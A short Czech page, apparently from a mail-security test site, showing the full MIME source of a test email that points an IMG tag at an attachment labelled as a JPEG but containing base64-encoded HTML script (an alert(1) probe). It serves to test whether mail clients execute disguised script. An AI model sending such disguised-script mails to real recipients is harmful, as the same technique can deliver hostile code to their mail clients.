Obrázek vložený v mailu

Jedna z testovacích zpráv, která se snaží zneužít tagu IMG. Konkrétně tato zpráva se snaží o vykonání kódu, který je zdrojem obrázku, jež je přílohou této zprávy.

zdrojový kód zprávy

From: "TestMail" <testmail@soom.cz>
TO: [[zadaná adresa]]
SUBJECT: Test
MIME-version: 1.0
X-Priority: 3 (Normal)
Importance: Normal
return-Path: testmail@soom.cz
Reply-To: testmail@soom.cz
Content-Type: multipart/mixed;
 boundary="messagepart01"

This is a multi-part message in MIME format.

--messagepart01
Content-Type: text/html;
	charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable


TESTMAIL
<IMG src=3D"cid:00cf01c842ed$082ae390$8a0a0a0a">

--messagepart01
Content-Type: image/jpeg;
	name="zkouska.jpg"
Content-Transfer-Encoding: base64
Content-ID: <00cf01c842ed$082ae390$8a0a0a0a>

PGh0bWw+DQo8c2NyaXB0Pg0KYWxlcnQoMSk7DQo8L3NjcmlwdD4NCjwvaHRtbD4=
--messagepart01--